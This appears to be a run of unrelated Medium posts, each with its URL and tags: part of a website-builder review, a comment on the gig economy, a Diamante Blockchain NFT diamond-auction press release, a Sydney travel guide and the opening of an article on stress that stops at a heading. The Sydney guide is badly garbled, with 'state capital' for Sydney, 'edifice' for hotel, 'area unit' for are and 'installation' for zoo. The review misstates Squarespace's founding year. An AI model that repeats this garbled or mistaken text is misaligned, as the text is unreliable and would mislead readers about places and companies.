If you don’t have a WordPress site yet, you will be asked which provider you want to choose: Flywheel or Bluehost.
Further, the principle of operation will be the same as if you already have a site on WordPress. When adding a new page, you can click on the ‘Edit with Elementor’ button and start building your website using the plugin.
The functionality of the site includes the creation and editing of pages, and as for other functions such as template design, work with SEO and other plugins, it is implemented as in WordPress. One of the coolest settings in my opinion is the customization of the site display on different devices. It is important for users that the site is equally user-friendly on all devices and Elementor helps you make the necessary settings. Elementor has a ton of different fonts and exclusive tools to help you create responsive websites. You can use any of the 40+ widgets provided on the platform to diversify your design possibilities.
Pros:
40+ widgets;
Dragging items;
Works with all WordPress themes;
Ease of work;
Working with dynamic elements and animating websites;
Lack of need for knowledge of coding and programming.
Best for:
Focused on WordPress users only. First of all, it is suitable for beginners as it simplifies website development. Perfect for entrepreneurs, creative people, small businesses who want to expand their presence on the Internet without spending a lot of money on it.
Pricing:
Tariff plans are divided into 2 groups: individual and team one. There are 2 team plans: studio for $499 per year and agency for $999 per year.
Speaking about the individual plan, the following categories are distinguished:
To learn more about the features included in each plan and compare plans, you can visit the official website Elementor pricing section.
7. Jimdo — Best all-in-one business solution
Jimdo is a website management platform developed in 2007 in Germany. It is a simple service that provides editable design templates. On Jimdo, users can create and manage websites without any additional software, since Jimdo is a web application that has 4 main functions:
website creation;
online store development;
getting a personalized domain;
development of an individual logo.
When registering on the site, you will be offered two options. The first one is suitable for those who want to create a website using ready-made templates. The second option assumes that you have programming skills because this is an editor for experts in coding.
Jimdo website creation modes
Choosing the easy way, the user goes through a step-by-step website setup. Step by step you will be asked to answer the questions, who is the creator — one person or a team. After that, you will need to select the purpose of creating a website. For example, you want to start a business or professional project, something personal, or a hobby that you develop into a business. You also choose the goals for which you are creating the site. Promote a product, tell about an event, sell something. In addition, you need to indicate the area to which the site belongs — IT, beauty, communications, etc. The next step is to work with your color preferences. You choose the color palette that best reflects your brand. At the final step, you can choose which pages besides the main one will be included in the website. It can be a page of services, gallery, a portfolio, etc. By default, there is a choice of three pages for your site, namely news, about you and contacts.
If you went the second way and chose the advanced mode, then the main difference is the ability to add code. This mode is suitable for advanced users who want to bring custom design or functionality to their site. Also, when choosing the second option, you will not need to take a survey to identify goals and preferences.
One of the weaknesses of Jimdo, which the company’s developers are working on, is the lack of tools to promote the site. Now, on the free plan, you can customize SEO parameters for one page. As the tariff plan increases, more options open up for the user. For example, setting up SEO for each page of the site, not just the main one, access to redirects.
Pros:
Adaptive design;
Library with free images;
A huge number of opportunities for online stores;
Payment methods from PayPal to SEPA direct debit for an online store;
Business logo creation;
Ability to add functionality through code.
Best for:
Jimdo is a web service that is suitable for beginners and those who are not keen on creating websites. The simplified version of creating a website is as easy as possible for even your grandmother to understand and master.
grandmother and computer
Jimdo’s main audience is individual entrepreneurs, freelancers, people who need a portfolio. As for advanced users, Jimdo is more likely not suitable, because it is too simple and does not have a wide range of advanced settings.
Pricing:
There are 4 types of tariffs: play, start, grow, and limitless. With the tariff, you will not be charged a game fee and will have minimal opportunities. This tariff is designed so that the user could see if he was buying a paid plan. Paid tariffs are paid every month, you just need to indicate your card account. You can find out more about what features are included in these plans on the website.
8. TemplateMonster — Best design marketplace
TemplateMonster website builder
TemplateMonster is a world-renowned company for quality web development solutions. This company is truly the pioneer of website builders since it started in 2002. Years of experience and a sincere desire to simplify website development have taken TemplateMonster to the world level. This is not just another company, another website building service, it is a digital marketplace that is trusted by hundreds of people around the world. Let’s take a closer look at why users fall in love with TemplateMonster services.
Few facts about TemplateMonster:
1) Top 3 global manufacturers of web products; 2) 5,000,000+ buyers; 3) it takes about 30 seconds to wait for a response from the technical support service.
Initially, the developers themselves created templates for TemplateMonster. However, then the company began to cooperate with large contractors and CMS developers. As a result, the library of templates has been significantly replenished and now it contains a huge number of templates for every taste and for any project.
So, as with all services, you will need to register and create a personal account. It will display all the necessary information, namely the billing period, reviews, ratings, requests for technical support.
As I noted earlier, the platform has just an uncountable amount of materials for creating a website. Agree that with a huge database, it is very difficult to make a choice. TemplateMonster developers have solved this issue by adding a filter by topics and various characteristics. By marking the components you want, you narrow down your selection. In addition, to return to a product you like, you can add it to the collection, so as not to filter again and remember the settings.
The platform provides the following categories of templates:
Website templates with drag and drop editor;
Advanced graphics (creative fonts, UI elements, Keynote templates, illustrations);
Online store templates (Shopify, OpenCart, WooCommerce, etc.);
WordPress plugins and themes;
Marketing services;
Development services.
Ted saying wow
So now let me briefly highlight which features are, in my opinion, the benefits of TemplateMonster.
Pros:
World name and long history;
Huge collection of templates and tools;
Integration with other popular builders;
Incredibly fast technical support;
Convenient filtering by templates;
Template customization services for non-professionals;
All source files;
Best for:
TemplateMonster’s target audience isn’t just entrepreneurs and enthusiasts looking to build their website. Here you can become a template author and receive a percentage of the sales of your work. Of course, before publication, the works are carefully selected and not all of them will be approved.
So, the platform can be of interest to both freelancers, marketers, web studios, and those who promote business projects on the Internet. Website creation tools are easy to use, but here you can order a website creation and promotion service. This seemed convenient to me since entrepreneurs do not always find the time to create a website on their own. And so
they do not need to waste time looking for a specialist on freelance platforms.
Pricing:
In terms of its pricing, TemplateMonster also differs from all the services we have previously reviewed. You can choose a suitable template for yourself and pay for it separately for its specific cost. That is, in fact, you choose a product in the TemplateMonster marketplace.
However, for those who often use the site builder and create several sites, TemplateMonster has come up with an interesting way to subscribe. You can pay $ 199 for unlimited access to all platform resources for one year, or $ 599 for lifetime access.
9. Squarespace — Best pre-packaged design
squarespace website builder
Squarespace is an American company founded in 2014 with a focus on website design and hosting. It is a SaaS platform that allows users to pre-built website templates using an easy drag-and-drop mechanism to create unique web pages.
Squarespace is a tool that is trusted by thousands of users around the world and has already created over a million websites on the platform. Ready-made templates, drag-and-drop widgets, interactive elements — all this helps users to create responsive web pages. Users are provided with instructions on how to set up search engine optimization and e-commerce. Squarespace competes with WordPress.com and Wix.com as a website building platform. Squarespace was originally created as a blogging service, but then the e-commerce features were expanded. A mobile version was also released and the ability for developers to write their own templates, plugins and features. The platform also integrates with Getty Images and Google Apps for Work. Squarespace became a serious competitor to GoDaddy a few years ago, as it started selling domains, implemented PayPal integration and dashboard.
When registering on the platform, you will be asked to describe the topic of the future site in order to select the appropriate templates and design.
Squarespace template device preview
When you decide on the topic, you will be offered templates that match the description. One of the features that I noticed is the ability to preview the selected template on different devices. That is, even before you started creating a website, you can see how a particular template will adapt to different devices. I think this is an incredibly useful feature, since many now use mobile devices and tablets rather than computers as they used to. This is why ensuring responsive web page design is so important.
Pros:
Suitable for those who know nothing in programming, have no experience with HTML and CSS;
High performance and reliability of your website;
Free domain name when purchasing an annual plan, a small fee when transferring a domain;
Great opportunities for integration with social networks and various payment systems provide unlimited opportunities for online sales;
When registering a domain name, the user gets free WHOIS privacy and SSL cryptographic protocol for a more secure connection;
No Squarespace branding names in paid plans.
Best for:
Squarespace is a great choice for anyone looking for the perfect portfolio site for their work. A visual demonstration with a scrolling display, the carousel will help show your portfolio perfectly. Plus, the tool is great for creating attractive and modern branding for your company. Features such as built-in analytics, e-commerce, SEO tools, and email campaigns help you grow your business through your website. Like its counterparts, the tool may not be suitable for people with little technical confidence. However, Squarespace is a good choice for building a website without much effort.
Pricing:
Squarespace pricing
Speaking about prices, Squarespace provides users with a 2-week free trial period. The most popular plan among users is Business one. On the other hand, it includes charging a 3% transaction fee, no e-commerce analytics and merchandising tools. To have a full and powerful set of tools you have to opt for a basic or advanced commerce license.
10. Website.com — Best free builder
Website is another webpage building tool that I would like to share with you. The platform is one of the industry leaders in creating online pages. The company has a fairly high profile as they invest a lot in advertising. The strategy of the website is to provide every business with the ability to create web pages. This is why they offer completely free services. A free plan includes 500MB storage, free web hosting, 1GB bandwidth, 10 web pages, and some more features. I tested it and found it to be super user-friendly and incredibly functional. The website divides its products into several categories for you to choose from:
website features
As for me, it is incredibly easy to create a website with this tool. You can use the free version, which does not require any fees from. In the first step, you will be prompted to name your site and agree to the policy of use. Next, the amazing world of website creation will open before you.
The first thing you need to decide on is a design template that will allow you to create a fresh, modern website. Next, add any items to your page using drag and drop. These can be widgets, galleries, videos, etc. Discover advanced online store building, customer communication, and booking services. All this you can implement on your website and you don’t need any special skills. The final step is to set up ways to engage your audience. Namely setting up a suitable domain name, SEO.
website as well as all advanced website builders understand the importance of having a responsive web page. That is why choosing this tool you do not need to worry that your clients will have a user-friendly design on all devices. Even if you go to the homepage of the website, you will find many examples of web and mobile versions of the same website.
Pros:
Focuses on eCommerce;
Hundreds of templates to optimize for mobile devices;
Quite simple and straightforward interface;
Tool for selecting a template from a suitable category;
Frequently Asked Questions for Beginners;
A tool to create websites for restaurants;
Translation tools for different languages.
Best for:
This tool is great for business owners (large and small) looking for a way to expand their online presence. The pandemic has shown us that having an online presence for your business is essential in the 21st century. That is why this tool will be relevant for online stores, restaurants and portfolio sites.
Pricing:
website.com pricing
A distinctive feature of the website is the low cost of services. Such incredibly low prices and a powerful arsenal of tools. An incredible coincidence that you can only dream of!
11. Godaddy — Best for simple websites
Godaddy is another great company on my list. It offers many services such as registering a domain name, creating stunning web pages that will represent your brand. In addition, Godaddy has several hosting options: WordPress, Virtual, Dedicated Servers, VPS. Signing up on the site is pretty straightforward and you don’t even need to enter your credit card details for the trial period. You will be asked to enter the name of the company or brand for which you are going to create a website. To determine the best template for editing, you need to select one of the categories to which your site will belong, for example, an online store.
As for the web page builder itself, it is quite simple, but I would not say that I figured it out the first time. It took me a while to understand how to interact with the function bar even though it was intuitively simple and reminded me a bit of Photoshop.
edit website on Godaddy
Another thing I liked was the suggested next steps. This is a great feature for aspiring web designers. Not everyone knows exactly how to promote your website on the Internet. This step-by-step plan will help you drive more visitors to your page.
Godaddy dashboard
Pros:
world’s largest domain name registrar;
monitoring and protection against DDoS attacks;
24/7 support;
refunds within 30 days for some types of subscriptions;
All plans include a free domain;
promises 99.9% uptime;
cPanel for monitoring.
Best for:
GoDaddy’s services are suitable for all users, both experienced and newbies. Budget rates are suitable for people who want a small site to showcase their services on the Internet. However, if you plan to use a CMS such as WordPress, then you may encounter some limitations. You will probably have to spend time configuring cPanel.
Pricing:
GoDaddy pricing
GoDaddy has 4 tariff plans presented on their official website. In addition, there is also a free version with a limited range of features. On the site, you can find a comparative characteristic for all tariffs and decide which one is right for you.
12. Duda — Best for customized solutions
duda website builder
Duda is one of the leading web design platforms providing web design services to small businesses. It was founded in 2009 and grew up to be a professional website builder for creating and selling high-converting websites. This tool is not the most famous among competitors and analogs, however, this does not make it a less professional and reliable solution. Duda is truly a veteran of the website builder industry, having been on the market for over 10 years.
Duda shares the main advantages with the constructors we have already reviewed. The most important mechanism used on the platform is the drag-and-drop function. By dragging and dropping elements around the page, users can freely and easily create responsive and responsive web pages without coding knowledge. The overwhelming majority of reviews for Duda are positive due to its intuitive and smooth interface.
There are several things I enjoyed the most about Duda. First of all, it provides team collaboration tools. It includes a selection builder which allows users to create, save and share selections of websites across the team, it can be your inspo or any draft ideas. Besides, the template function is rather useful, since you can come back to any designs, save your time while creating, and also share it within the team. Secondly, client management tools are also worth noting. Duda provides an instant client feedback tool, white label, so your clients can edit and manage sites under your brand, customized settings, automated content import, comprehensive statistics, and analytics.
analytics in Duda
What I also noted was a good website structure, so before signing up and purchasing a tariff plan users can examine the official webpage and get to know more about Duda opportunities. One thing I want to pay attention to is how they explain the strengths of each of their services, so users exactly understand how implementing Duda solutions will enhance their business.
Pros:
Professional 24/7 support and guidance;
Smart management tools: review tool, client control dashboard, extensive roles & permissions;
Cloud-based hosting, sites are worry-free, auto SSL;
Flexible drag-and-drop editor;
Advanced features such as App Store, widget builder, access to JS, CSS and HTML, rich API;
Superior support in migrating sites to Duda.
Best for:
Duda offers solutions for agencies, SaaS platforms, and hosts with the aim to increase revenue, earn customer loyalty, and boost your brand.
Pricing:
With no credit card required you can opt for a 14-days free trial version to test the Duda website builder. After 14 days are over, you can choose between 4 plans:
Duda tariff plans
What I noticed is that there is a custom plan opportunity that includes all the services by default, but you can set what you really need by contacting a manager. So, it allows users to create their custom plan with all the features they need. Since sometimes are not exactly suitable for all clients. For instance, a plan can lack some vital features but offer ones, a customer will never use.
13. Shopify — Best for eCommerce
Shopify community
Shopify is a platform focused on developing internet solutions for online and retail stores. It is one of the most popular e-commerce solutions around the world. Shopify allows you to easily launch your websites without programming skills, it does not require additional skills, everything is intuitively clear even for inexperienced users. The platform differs in that it focuses on business growth. With Shopify, you can launch your online store and keep it growing effortlessly since the platform provides all the tools you need to do this.
There are several tools except for the website builder that is widely used by Shopify clients. To start with, it is a branding tool, a business name generator in particular. It is a wonderful function, since not everyone understands the importance of the brand name, although it plays a huge role in its recognition. Moreover, Shopify offers domain name generator, search, and registration features. A domain name is another important aspect of e-commerce, because it gives credibility to your business, enhances search optimization, and makes customers remember your brand. Stock photography is another unique feature of Shopify. High-quality images are very important for business websites, however, not all entrepreneurs can afford professional shootings.
The platform focuses specifically on online stores, which is why it offers a large number of e-commerce tools. Email marketing, Facebook ads, sales channels, managing shipping and payments — all this you can do within the one platform. Isn’t it a superpower? Shopify makes building websites for online stores as easy as never before. You can sell your products worldwide regardless of your location. Shopify is a tool you can use to build your brand and make it recognizable.
Pros:
You can focus on your business since Shopify takes responsibility for all technical issues such as hosting, SSL certificate, software updates, etc;
A simple and quick launch of an online store without special skills. Incredibly simple interface and ease of use at every step;
24/7 client support;
Adaptive design, so your online store is accessible within any device. Plus, Shopify has mobile apps for iOS and Android which will allow you to manage your store from your mobile device;
Powerful search engine optimization tools and access to granular analytics to better understand your customer;
Unpaid cart recovery function. Leaving the site without shopping, the client is notified of the items left in the cart. When a customer visits a site again, the basket is saved and is not reset;
Dozens of available payment systems for integration and Shopify’s own Stripe-based one.
Best for:
Many companies still sell their products online, yet there is no doubt that the future lies with e-commerce. Shopify is a great tool for small to medium businesses looking to have an online presence. Imagine how many opportunities are opening up even for the simplest small business!
Price:
Shopify pricing
Tariff plans are slightly more expensive compared to the solutions we have previously reviewed. However, Shopify is a specialized builder for online stores. That is why the price is fully justified due to the powerful possibilities for e-commerce. You also get a 14-day free trial to try out the platform. | https://medium.com/swlh/i-tested-30-website-builders-these-14-are-the-best-for-any-task-7713b6912eae | ['Dmitry Leiko'] | 2021-05-29 11:29:22.658000+00:00 | ['Creators', 'Website Development', 'Website Design', 'Entrepreneurship', 'Business'] |
Well thought out article, thanks for the insight into the nature of the gig economy. | Well thought out article, thanks for the insight into the nature of the gig economy. That of subsidized services on the back of financially indentured workers, who often can’t see the long term economic impact of the gig until it’s too late. It will only get worse as more automation changes the nature of work. There will be more workers than jobs. If you want your basic needs met there will be even more competition driving prices down for workers but up for owners. This will become true for more and more types of work.
Traditionally I’ve been a strong advocate for capitalism and entrepreneurship, but the economic engine of today is for winner take all network effects, and lots of losers. Even Micro-winners get purchase by tech giants, who then consolidate more of the idea/market space or kill the competition. Innovation should be available at all levels of society and rewarded, not just in Silicon Valley and Wall Street. Surely we have the tools today to imagine such a society and then create one.
My thoughts are we need to push for guaranteed income experiments, well educated citizenry, personal data with market choice and compensation, and then work toward direct democracy in all the largest economies. Would these policies stabilize markets, wages and freedom?
Our economic and political systems are young less than a few hundred years old. They are not the only way to structure human society. We need to be open to new ideas, and encourage experimental policies, communities and government structures. Then we can design based on evidence, not just political narratives, or human biases and tribalism. Think about these issues when you vote and inform politics to get long term change.
My discourse is finished, thanks for reading. I’m working on longer articles to expand on these ideas, clap if you want to hear more. | https://medium.com/@dudley_74850/well-thought-out-article-thanks-for-the-insight-into-the-nature-of-the-gig-economy-32a35f851e80 | ['Dudley Fagan'] | 2019-04-12 15:49:28.720000+00:00 | ['Future', 'Tradition', 'Gig Economy', 'Ideas For Change', 'Automation'] |
Diamante Blockchain enters the non-fungible token (NFT) market to mainstream the auction of the world’s finest and rarest diamonds. | Diamante Blockchain enters the non-fungible token (NFT) market to mainstream the auction of the world’s finest and rarest diamonds. PayCircle_io Jun 8·2 min read
NEW YORK, June 2, 2021 /PRNewswire-PRWeb/ — Diamante Blockchain, a global fintech company, announces the first-ever non-fungible tokens (NFTs) based rare and the most unique diamonds auction platform. The platform will be powered by the Diamante Net, the proprietary blockchain network of Diamante Blockchain.
Diamante’s auction house will consist of the rarest and unique diamonds from across the world that are validated and certified. The buyers can bid for the precious diamonds on the Diamante auction house with a non-fungible token or NFT, which has a unique digital signature linked to the physical diamonds. It acts as a digital certificate of ownership, authenticity, and provenance. The sellers have to deposit their diamonds in the safe and secure deposit vault owned by a Swiss partner. The transportation and the storage of the diamonds throughout the auction lifecycle will be traceable on the blockchain network with 100 percent insurance.
Diamante’s NFT-based online auction platform will create the first market for real and unique diamonds to go digital. Also, the platform offers buyers to gain the rights to the NFT with guaranteed control and blockchain proof of ownership over the real diamonds.
Dinesh Patel, CEO, and co-founder of the company said, “Our NFT-based diamond auction house provides instant, safe, and secure access to the world’s rarest diamonds. The buyers and sellers are all validated and authenticated. They will have to deal with a minimal operational fee associated with the bidding of the diamonds on the Diamante ecosystem.”
Chirag Jetani, COO and co-founder, added, “We are working to make the rarest diamonds more attainable. Our platform will allow users to buy NFTs and diamonds using our digital asset, DIAM. A few years from now, this could just be how people trade rare diamonds.”
The NFT diamond auction platform will be secured and traceable. The company’s progress is fascinating as there are already a few global diamond traders lined up to collaborate with the Diamante.
About Diamante Blockchain:
Diamante Blockchain is a global, decentralized finance platform successfully implementing and developing a competitive blockchain-enabled ecosystem for trade, payments, and financing.
The Diamante ecosystem consists
(i) Proprietary blockchain network — Diamante Net
(ii) Consortium of luxury goods and service industry stakeholders — Diamante Consortium
(iii) DeFi payments application — PayCircle
Related links:
Website: https://www.diamanteblockchain.com/
To stay up to date on the company’s latest announcements, join their social hubs.
Facebook | Twitter | LinkedIn | Telegram
Source: Yahoo Finance | https://medium.com/@paycircle/diamante-blockchain-enters-the-non-fungible-token-nft-market-to-mainstream-the-auction-of-the-d951f93db524 | [] | 2021-06-08 17:35:30.367000+00:00 | ['Nft', 'Press Release', 'Diamonds', 'Blockchain', 'Decentralization'] |
TOP 15 THINGS TO DO IN SYDNEY, AUSTRALIA | THINGS TO DO TRAVEL GUIDE
TOP 15 THINGS TO DO IN SYDNEY, AUSTRALIA
Sydney may be a spirited, cosmopolitan town with a various population that includes a rich history, internationally-recognised holidaymaker attractions. Here we tend to are aiming to discuss things to try to do in the state after your visit, to have a look at the beauty.
HERE ARE SOME THINGS TO DO IN SYDNEY. HAVE A LOOK.
AFFORDABLE HOTELS IN THE STATE CAPITAL
SYDNEY PARK EDIFICE
Staying at the heritage-listed state capital Park edifice is like staying at your cold Nan’s house — she’s all the retro fashion, with a familiarly heat welcome. The pothouse hotel’s modern city enhances the building’s character.
Sleek animal skin armchairs and a compact storage unit area unit created a lot of comforting with plush pillows, recycled Merino-wool blankets and argonon design. The Superior King space boasts an ornamental fire and wall-mounted receiving system with each streaming service illustrious to man.
The comfortable retro fit-out extends to the shared loos. Don’t worry; it’s not the hostel customary. Assume Nan’s public lavatory — all pastel pink and new kitsch finishing’s. It’s aspic. However, you may wait in line — their area unit solely some bogs and showers between eight rooms.
The shared place will a complete turnaround modish, with sleek monochrome surfaces and stainless-steel appliances giving budget-conscious travellers the choice to eat is one of the Affordable Hotels in the state capital.
THE URBAN NEWTOWN
Newtown and Enmore area unit implausibly well-liked neighbourhoods with Sydneysiders. They’re crammed to the gills with excellent feeding choices for any budget. There are a unit nice bars and pubs on each block, and since the world is outside Sydney’s opposition zone, the party will prolong all night.
Within the daytime, there are a unit vintage article of clothing boutiques, crystal outlets and record stores to wander through, and cafés to recharge in — and it’s not uncommon to check stickers around city importunate guests and residents to “Keep Newtown weird”. To date, it hasn’t drawn a very touristed crowd. The subdued Urban Newtown that sits on Enmore Road right close to the fork of the neighbourhood’s different high street King Street isn’t wanting to alter that.
It was opened in late 2014. The edifice brings the Inner West-vibes within with corkboard and vacant concrete finishes and graffiti-inspired art on the walls. Even the mini-bar is stocked brewage from native craft distillery Young Henrys. The seventy-nine rooms aren’t spacious. However, they’re clean and bright, with suite, kitchen and balcony bedrooms obtainable.
All complimentary escort Wi-Fi. The Urban doesn’t have a lot of within the method of personal common areas — however in an exceeding neighbourhood like Newtown. You wouldn’t like (or even want) them to leave. It is also one of the Affordable Hotels in the state capital.
VIBE HOTEL RUSHCUTTERS
Sitting at the hill of oh-so-posh (and quite gay) Potts purpose, high the king-size fig trees and bobbing yachts of Rushcutters Bay Park, the vibration edifice feels a bit swankier than you’d expect from its costs.
This is often due to a late-2016 city that saw rooms redone with dove grey carpets and jewel-toned soft furnishings, the expansive bar space and reception clothed in reminder grey, warm up by potted plants and golden finishes.
Currently, you’ll realise locals and their fancy dogs chilling out at the paw-friendly terrace bar après-park walkies, and a combination of business travelers and traveller couples active in and out.
The park could be an essential quality here, guaranteeing several of the hotel’s 243 rooms and fifteen suites have a bifoliate outlook, although you ought to decision ahead and raise if you’re keen on an area with a read. At 22m2 the quality sized bedrooms area unit little however well supplied with, with snug beds. All rooms escort free Wi-Fi, and you’ll get straightforward dishes from the hotel’s entrepot edifice delivered up to your space twenty-four hours each day. That being same, if you lodge in the vibration, you’ll be a five-minute walk uphill from several the most effective drinking and feeding in the state capital — thus solely opt for that cheese and ham toastie if it’s a pair of am, and you’re too tired to go away the edifice Affordable Hotels in the state capital.
The large end here is that the top side pool, that directly overlooks the park and harbour. At the instant, the lake is open solely to guests. If you raise nicely (and request plastic cups), they’re happy to allow you to drink a glass of chilled vino up there.
HOTEL HARRY
If you’re searching for a celebration pad with style chops and the soul of a grown-up hostel, edifice Harry can hit the spot. All rooms have antique-inspired fixtures, in fitting with the hotel’s heritage listing (it was inbuilt 1912), and the ornamentation is crisp and smooth.
Because of this is often a heritage building, they can’t mess with the facade, which suggests there’s not a lot of uniformity between rooms. Placed higher than fashionable Surry Hills bar Harpoon Harry, the hotel, opened in 2015, has twenty rooms, and infinite opportunities to mingle with the locals.
The bar downstairs is packed on weekends — on weekday nights once work drinkers from near inventive offices kick on well into the evening, whereas on Saturdays and Sundays international DJs will usually be found behind the decks, conveyance the party vibes till late.
Simply because it’s a celebration bar doesn’t mean you can’t eat there — the menu is a dude-food giant (crackling pork nachos, anyone?) however well dead. The Harpoon Harry room takes care of the space service, and thus if you’d rather not socialise, you’ll dine in is the Affordable Hotels in the Sydney, Australia.
BEST PLACES TO GO TO IN SYDNEY, AUSTRALIA
MOST POPULAR PLACES TO DINE IN THE SYDNEY, AUSTRALIA
This major town of Australia is enriched with everything that one will expect from a vacation. State capital attractions embody beaches, museums, painting landmarks, in-depth looking and nightlife choices and a superb city district scene.
BEACHES IN THE SYDNEY, AUSTRALIA
Sydney is home to several stunning beaches. From calm seashores excellent for snorkelling to raging waves ideal for water sport — all styles of beaches area unit accessible from the state capital. Bond Beach is the best vacation destination in state capital among beaches is the Best Places to go to in Sydney, Australia.
The place is a carnival decorated with restaurants, cafes and solid ground bars. Bronte Beach is Bondi’s sister, with huge waves for surfers, a rock pool for swimmers and an oversized inexperienced space for picnickers. Balmoral beach is on the scenic north shore of the state capital, visited for kayaking and paddle boarding within the calm waters.
Watson Bay on the southern entrance to state capital Harbour comes with closed baths and an excellent read of the harbour front.
WILDLIFE IN THE SYDNEY, AUSTRALIA
Sydney is thought for having one in all the most effective collections of in-city life places. Feather dale life Park could be a partly free vary installation, wherever one will pet and feed the animals roaming around. This is often an ideal place on the state capital looking at tours for catching up with some kangaroos.
The Centennial Park incorporates a sensible late visit of the nocturnal animals beneath the spotlights. Taronga installation, on the shores of state capital Harbour, protects and preserves quite 4000 animals, several of that area unit vulnerable or vulnerable.
The state capital has two beautiful marine zoos additionally. The Manly tank incorporates a cute Sphenisciformes seabird show associated an underwater tunnel to check sharks and turtles. Ocean Life state capital tank is for even larger marine displays — one will realise like octopus and squids at giant is one of the Best Places to go to in Sydney, Australia.
Here are a unit the most active state capital places to go to for a traveller.
1. STATE CAPITAL HOUSE
Sydney house and its painting sails area unit the landmark structure of state capital. A United Nations Agency World Heritage web site and an area for the most effective live performances and Broadway show in Australia, state capital house is that the best state capital traveller attraction of all time is also one of the Best Places to go to in Sydney, Australia
2. SYDNEY HARBOUR BRIDGE
Sydney Harbour Bridge has continuously been the fascinating state capital purpose of interest, and even the development of the house couldn’t take that away. The imposing structure supported by double piers at each end connects the north and south shores in an exceedingly single curve rising 134 metres higher than the water is one of the Best Places to go to in Sydney, Australia.
One will fancy the read from the pedestrian walkways or take a ride within the Bridge Climb on the outer arch of the bridge for the associate adrenaline-fueled trip and a bird’ s-eye painting of the whole town.
3. DARLING HARBOUR
Staying faithful its name, this place is one in all the foremost favoured areas for state capital looking. Well-liked among tourists, locals and expats alike, the Darling Harbour is home to Sydney’s gentlewoman Tussaud’s, the life state capital installation and the ocean Life state capital tank, Australian Maritime depository, a playground and carousel carnival and even the Chinese Garden of relationship is one of the Best Places to go to in Sydney, Australia..
4. The state capital Tower Eye
The state capital Tower Eye rising 309 metres higher than the bottom is one in all the foremost fabulous state capital destinations. From the Hussle of the Centrepoint shopping centre, specific lifts take guests to the observation deck at the highest floor or to the illustrious walkway — associate alfresco glass for a platform for a bird’ s-eye bird’s eye read of town is one of the Best Places to go to in Sydney, Australia.
5. THE ROCKS
A former residence of the Cadigal aboriginal folks, The Rocks could be a historic space placed on a strip of land protrusive into state capital Harbour and a prime traveller destination in the state capital. Later, once colonisation took over, this was the place wherever the convicts from all the different colonies were sent over, and that they created their tents.
The cobbled streets of The Rocks have varied outlets, restaurants, a weekend market, the Rocks Discover depository and Sydney’s oldest living house — Cadman’s house is one of the Best Places to go to in Sydney, Australia.
6. BONDI BEACH
Another must-see is Bondi Beach. Illustrious for all the attractive surfers and the very fact that on legal holiday the complete beach is full of backpackers. You ultimately ought to visit though it’s merely to try and do the Bondi to Coogee Coastal Walk is one of the Best Places to go to in state capital.
7. WILD LIFE STATE CAPITAL INSTALLATION
You begin to urge a way that Darling Harbour may be slightly larger than you thought after you realise there is an installation here. It would not be the most critical installation you may visit. However, you’ll get the chance to satisfy the “Big 5” — Koala’s, Kangaroos, Crocodiles, Wombats and Platypuses. There are a unit many completely different zones among the installation for you to explore — The pouched mammal Walkabout, Devils Den, Butterfly Tropics, Gumtree vale, kangaroo Cliffs and hour.
8. OCEAN LIFE STATE CAPITAL TANK
Right adjacent to Wild Life state capital and you’ll cross-check some marine life at this fabulous tank. There are a unit several completely different zones to explore here additionally. Cross-Check sharks and rays or my personal favourite seeing penguins at the Sphenisciformes seabird Expedition. You may additionally see a sirenian that sadly is extremely seldom seen within the wild. Ocean Life state capital has very priced a visit if you are unable to go to the good coral reef on your Australia trip.
9. GENTLEWOMAN TUSSAUDS
Walk out of the tank or Wild Life state capital and walk right into gentlewoman Tussauds. Take some sleazy selfies along with your favourite celebrities!
10. STATE CAPITAL TOWER EYE
The building you’ll see from everywhere state capital is 309 metres high and offers unbelievable 360-degree views of the complete of the state capital.
11. BARANGAROO RESERVE
Barangaroo Reserve could be a stunning city district space that has solely been open since 2015. Antecedent this space was an instrumentation terminal (and ugly!). of late you’ll walk amongst native trees, passing a little public art installation on the method. There are cycle pathways, outlets and restaurants additionally as a happening space. Ensure to see out the Aboriginal cultural expertise “Barangaroo Ngangamay”.
12. STATE CAPITAL HARBOUR CRUISE
Their area unit varied choices for obtaining out and seeing state capital from the water. The most affordable possibility is to urge on one in all the ferries. You may still have the chance to see out the house from a unique angle, presumably see some marine life, whereas at an equivalent time planning to your destination, which is, a Best Places to go to in state capital.
13. TARONGA INSTALLATION
Another great goal from Circular pier by ferry is to go to Taronga installation. It’s going to take only twelve minutes to urge the current not-for-profit facility that supports life conservation. Once there, you will get superb views of state capital additionally because the likelihood to check animals from around the world. They additionally currently have a ‘Wild Ropes’ course if you fancy a small amount a lot of adventure!
14. POWERHOUSE DEPOSITORY
Heading back to the CBD currently and a desirable place to go. The Powerhouse depository could be a “Museum of Applied Arts & Sciences”. There are a unit permanent exhibition additionally as temporary ones. Study Australian culture, history and way and for a lot of here.
15. BLUE MOUNTAINS PLEASURE TRIP
Finally, and not really in state capital itself, the unmissable Blue Mountains ought to visit on each day trip from the state capital. Most tours additionally embody entrance to Feather dale life Park. Thus, it’s an attractive trip from state capital CBD.
Conclusion
We get it, you do not need to be a traveller, and you would like to try and do things that area unit a small amount completely different to everybody else. However, it’s unlikely you may ever be ready to visit once more, and their area unit bound state capital attractions that you just ought to visit!
Find travel guides at : Bookonboard | https://medium.com/@bobtravels5/top-15-things-to-do-in-sydney-australia-913c2fb9548 | [] | 2020-01-01 21:59:26.261000+00:00 | ['Travel', 'Visit Australia', 'Tourism', 'Australia', 'Things To Do In Australia'] |
Steps to a Stress-Free Life | Steps to a stress-free life
Steps to a stress-free life, We all experience this stress at different stages of our lives. Unfortunately in the present times this stress is very much seen in us. This is especially for people of all ages. Our current lifestyle is the main reason for this stress and thus our physical condition is also affected. Let us know how we can get rid of this and how to deal with this stress.
Our body will naturally show any signs of stress from time to time and most of the time these symptoms are healthy and often not dangerous. In the body’s search for normalization, the various systems in our body resist each other, often causing further damage both mentally and physically. One of the initial ways in which the body responds to increasing stress levels is dermatitis or irritation, and other visible symptoms usually include allergies and autoimmune disorders, which can be too much for our body to handle if left unchecked in its early stages.
How and where this Stress comes from?
Stress usually comes from external forces, and it begins to sink deeper into our mind, and then our body experiences minor discomforts to get rid of this stress. Usually, when we try to do something in our life it becomes stressful for us when it does not happen in the way, and in the timeline we expect. Stressful thinking leads to a sense of stress, and like our anxiety, stress can be a constant within the body. Our fears and anxieties can further exacerbate stress. Most people have the ability to somehow convince the mind, but in reality, it doesn’t happen.
Therefore, it is necessary to keep both our body and mind very solid in order to deal with the situation which is considered to be contributing to stress, it is very important to stabilize our mind against it, and then we should try to avoid those unwanted situations.
How to control our Stress?
